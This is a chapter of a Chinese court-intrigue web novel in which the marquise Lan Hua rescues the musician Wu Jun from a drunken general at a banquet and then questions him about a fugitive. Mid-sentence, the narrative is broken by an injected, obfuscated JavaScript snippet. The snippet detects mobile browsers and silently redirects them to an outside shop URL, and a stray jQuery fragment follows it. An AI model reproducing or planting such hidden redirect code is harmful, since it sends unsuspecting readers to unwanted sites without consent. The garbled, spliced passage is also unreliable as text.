10.英救美雄

作品:《长宁侯她欺恶霸善

    芜君跟着乐师们离开了正殿,在荷池回廊处停步归还了手中的古琴,“在下需在此等候位贵人,便与诸位分别了。”


    乐师们纷纷应答,班头俯身道谢,“多谢公子搭救,顶替了那突发恶症的琴师,使我等顺利完成演出,没有让我等酿成大错。公子如伶伦在世,竟能想出用《山枝》作和,又在如此短的时间里完成融合与演奏,真是奇人奇招,我等敬佩不已。若有几会,还望再向公子切磋讨教。”


    芜君颔首,客气道:“各取所需罢了,不必挂怀,咱们有缘再会。”


    乐队走后,芜君取下面具,闲坐在回廊的石凳上发呆。如今刚入春,池中还留着许多枯荷,嶙峋瘦骨般的枝干折在水面,不时有白鹤走过,在黄昏下有着别样的美感。芜君正幻想着入夏时的荷池盛景,他能借着某个时机和兰骅共游,看接天莲叶无穷碧,风过清香送。


    如果能与她同乘一舟赏荷就更好了。


    不知道她到时会有怎样的反应,会像宴席间那般,对他的示好先是困惑地蹙眉,再淡然接受,冷着脸装看不见吗?不回应他的目光,手指却随着他奏出的韵律轻轻地叩着桌面。


    真是可爱。


    芜君眯起眼睛,惬意地如同餍足的狐狸。


    可不待芜君再次回味,一阵扑面而来的酒臭脂粉气搅了他的好心情。围在他面前的是两个男子,一人头发花白年约四十,身材魁梧,面容虽粗犷但眼睛精光闪烁,看打扮应是品级较高的武将。而另一位年龄莫约双九,涂粉抹脂,眼神不善,半依偎在前者身上,一看就知道他俩是什么关系。


    芜君眼神瞬间冷了下来,起身看着来人,唇角勾起礼貌而疏离的假笑,“二位是有事找在下吗,很抱歉,今日没有时间,二位改日再来吧。”


    “我乃左武卫将军牛贲,久闻芜君公子盛名,今日在宴会上惊鸿一瞥,公子琴音绕梁如若仙乐,故想邀公子探讨音律。我已备好美酒,还望公子给我个面子。”那武将让身边的小郎递上美酒,浑浊眼球肆无忌惮地打量着芜君,语气虽客气,但言语间处处透露着以权压人之意。


    来者不善。芜君维持着虚假的客气笑容,眼神愈发阴冷。他正想快速处理了面前这两个耽误他好事的多余人,余光却瞥见不远处的紫金身影。芜君一顿,计上心头,话口一转答应了对方不怀好意的邀请,跟着他们去到那湖心亭中。


    刚到荷池回廊的兰骅三人自然目睹了这一幕。


    “啊,被人抢先一步。”江见野戳了戳兰骅,又问道:“咱们要等他们聊完吗?”


    兰骅看了看天色,朝湖心亭走去,“不等,没时间。”


    “宥宁还是这么霸道,真好!”江见野捂住心口故作感动。妙音逐渐习惯了江四小姐在自家殿下面前的浮夸演绎,失笑着摇了摇头,紧随其后。


    湖心亭近在眼前,亭中人却好像发生了争执。那武将暴怒着吼了声什么,竟然动手,而芜君恰站在亭栏边,被那人一推,没稳住身形,翻落入池水中!


    “那人把芜君推下去了?!”江见野错愕地看向兰骅。


    兰骅蹙眉,瞟了眼荷池水位,不悦地走向石亭。


    还未到雨季,池中水位不深,即便是不通水性的人也没有性命之忧。只是刚度过深冬,池水还未回温,池中也尽是些残枝腐虫,落下去也不好过。


    兰骅踹开亭栏边两个气味难闻的男人,给自己空出位置来。她向下看去,芜君已站在荷池中,水位刚没过他的腰,看起来并无大碍。不过他的衣服湿透了,污泥与枯枝也沾染满身,发髻散乱,很是狼狈。


    兰骅总觉得每次见芜君,他都是一身湿漉漉的可怜样。


    淤泥陷脚,湿衣拖坠,落水者想脱身可得费一番功夫。兰骅利落跨过亭栏,稳稳站在石亭边缘,半蹲身,向下面的芜君伸出一只手。


    既然算她半个下属,那她姑且管一管。


    芜君见兰骅向他伸出了手,恍惚到连本应做出的可怜表情也呆滞了,要不是池水冰冷刺骨,他以为自己犯了癔症。


    “不想上来?”兰骅挑挑眉,语气有些不耐。


    芜君连忙伸出右手,可发现右手指尖还残留着些许淤泥污水,他瞳孔猛缩,立即换成了干净的左手,握住了兰骅比他小了一圈却格外有力的手。


    兰骅轻轻施力就把芜君带离荷池,再跨过石栏,拉着芜君一起回到亭中。


    牛将军被踹开后怒不可遏,连身边哀嚎的小郎也不顾了,起身拔剑想让对方见识见识自己的武力。可一看清那女子的面容,牛将军瞬间吓得醉意全无,慌忙后退收起佩剑,拉着小郎一起俯首行礼。


    “下官老眼昏花,居然没认出长宁侯来,真是罪过!还望长宁侯看在下官与陛下及先大将军的旧情上,饶恕下官的无礼。”


    兰骅没理会,松开芜君的手,让妙音去帮忙准备一身干净衣裳。她可没兴致和一个衣服湿透、下摆全是污泥的人聊正事。


    牛将军见自己被无视了面色有些挂不住,他怎么也是个从三品的将军,而且按他与先大将军的交情来说,他还算兰骅长辈。想到此处,牛将军愈发愤愤不平,酒气上涌壮贼胆,他自己直起了身子。


    “我让你动了吗。”没有温度的金色眼睛注视过来。


    牛将军一僵,故作镇静强行为自己开脱,“长宁侯,再怎么说下官也是陛下亲封的左武卫将军,陛下还是皇子时便一直追随陛下,有从龙之功。何况,下官曾在您父亲先大将军的麾下任职五年,真算起来长宁侯还得称下官一声叔父。区区一个卖色侍人的贱隶,长宁侯何必如此。”牛将军越说越理直气壮,愈发觉得没理由怕兰骅一个黄毛丫头。不就是职位比他高吗,那还不是仗着陛下的偏爱得来的!


    “哦,这么说你与我的父亲和舅舅都是交情很好的旧识?”兰骅走到牛将军面前,唇角微微勾起。


    牛将军以为兰骅听进了他的话,面上一喜,可还不待他应和,突如其来的重击将他踹飞至亭边。背后的石栏碎了一地,牛将军躺在地上动弹不得,觉得五脏六腑也和那石栏一样。


    “舅舅和先父或许与将军有所交情。”兰骅慢步走来,捡起地上的长剑抵在其主人的脖颈上,居高临下、面无表情。


    “可我认识你吗?”


    牛将军这才想起,这位长宁侯可是能在七岁时砍下亲叔舅的手的冷血怪物啊!目无尊长、蔑视法度的事她干的还少吗,他为什么要去招惹她哦!都怪,都怪那个芜君!


    “是他!是他先出言不逊的!下官一时气急才动手,这才冲撞了您!”牛将军慌不择言,只能攀咬他人来转移活阎王的杀气。


    “哦,是吗。”兰骅看向芜君。


    芜君欠身道:“启禀殿下,是这位将军强拉奴去他府上做‘乐师’,奴才骂他‘黑□□恬不知耻’。”


    “哈哈哈,黑□□!”一直没出声的江见野笑弯了腰,她擦擦眼角的泪水,赞扬道:“我看芜君公子说的也没错啊,将军何故生气?”


    牛将军肤色黑,脸上还长了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170895|195998||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    许多疣子,他平日里最是敏感别人提起他的外貌,现在被一通取笑,真是又气又羞又不敢表现出来。


    耳畔剑风袭来,牛将军以为死期将至,可预想的疼痛并没有发生,他颤抖着睁开眼,只见自己的剑深深插在离脸颊不过三寸的地方。


    “今日舅舅宴春,我不想见血。”


    牛将军大喜过望,忍着痛磕头谢恩,想赶紧带着小郎离开。


    “不过。”兰骅话锋一转,“你和他身上的味道属实难闻,自己下去洗洗。”


    牛将军浑身僵硬,再不情愿也只能连声答应,拉着尖叫的小郎一起跳进了池中。


    此事算就此了结。


    天色暗了许多,兰骅不再在荷池逗留,领着二人去往偏院。


    等三人走远了,池子里的两人才费劲爬了出来。那小郎身形单薄,风一吹只觉得冷得要命,忍不住哀声呼唤牛将军。可这凄惨样并没有换来任何安慰,一记狠辣的耳光反而狠狠扇在他脸上,直接把他扇晕在地。


    “叫魂呢!”牛将军骂骂咧咧,对地上的小郎又踢又踹,一直隐忍的怒气终于发泄出来。他咬牙切齿地看着三人离去的方向,眼神狠厉,暗生仇恨。


    而兰骅三人对自己新结的仇怨毫不在意,此时她们回到偏院,正喝着梁帝派人送来的葡萄美酒。


    时近日昃,大宴将息。


    江见野率先向兰骅告别,她得和江府亲眷同行,而且还有个不安分的逐月被她交托给殿外的侍者,等着她领回。妙音则得帮兰骅处理好其他琐碎的杂事,也知道殿下要和芜君谈论正事,跟着江见野一起离开了。


    房间里只剩下兰骅和芜君二人。


    芜君换好衣服候在兰骅身侧。他知道兰骅还要去见梁帝,没时间多等,故只用热水擦了擦身子,确保身上无异味就行。


    兰骅指了指对面的席塌,让芜君入坐,直言正事,“崔文逍一事有何进展?”


    “禀殿下,两日前在东郊处发现了他们的行迹,但他们警惕意识极强,尾巴扫的很干净,若要抓获还需些时日。”


    “东郊,看来是冲着春猎去的啊。”兰骅抿了口葡萄酒,玉杯磕在几案上发出脆响。


    “奴等定当在春猎前将他们抓捕归案,绝不会使其影响陛下的春猎。”芜君叉手俯身,向兰骅保证。


    “嗯。”兰骅轻应一声,话锋一转,“今日这山苑里的人可都审查仔细了?”


    “自然,来往宾客、侍卫随从、乐班杂耍以及这皇家别苑本来的下人,都一一登记在册。”


    “辛苦。”兰骅也给芜君倒了一杯葡萄酒,懒懒掀开眼,“可是妙音说,她在后山见到了崔文逍。我信她不会看错。”


    芜君在那双平静锐利的棕金色眸子看见了自己。


    心脏跳得很快,他许久没觉得自己如此鲜活。现在他该有什么反应?惶恐吗?或许凝重更好?总之不能将不合时宜的愉悦表露出来。


    芜君再次俯身,将头垂得很低,低到兰骅看不见他的表情,“奴等办事不利,请殿下责罚。别苑的人员来往明细奴等会立即重察,定当给殿下一个合理的交代。”


    兰骅收回眼神,把玉杯往芜君面前推了推,“天色已晚,我不多留公子,暖暖身子回去吧。”


    “谢殿下。”芜君一饮而尽,起身辞别,“长夜孤寒,伏乞殿下好梦。”话毕,便隐入暮色中。


    兰骅独自饮酒,思量了许久。待妙音回来,兰骅前去与梁帝交谈了小会儿,亲自护送梁帝回宫。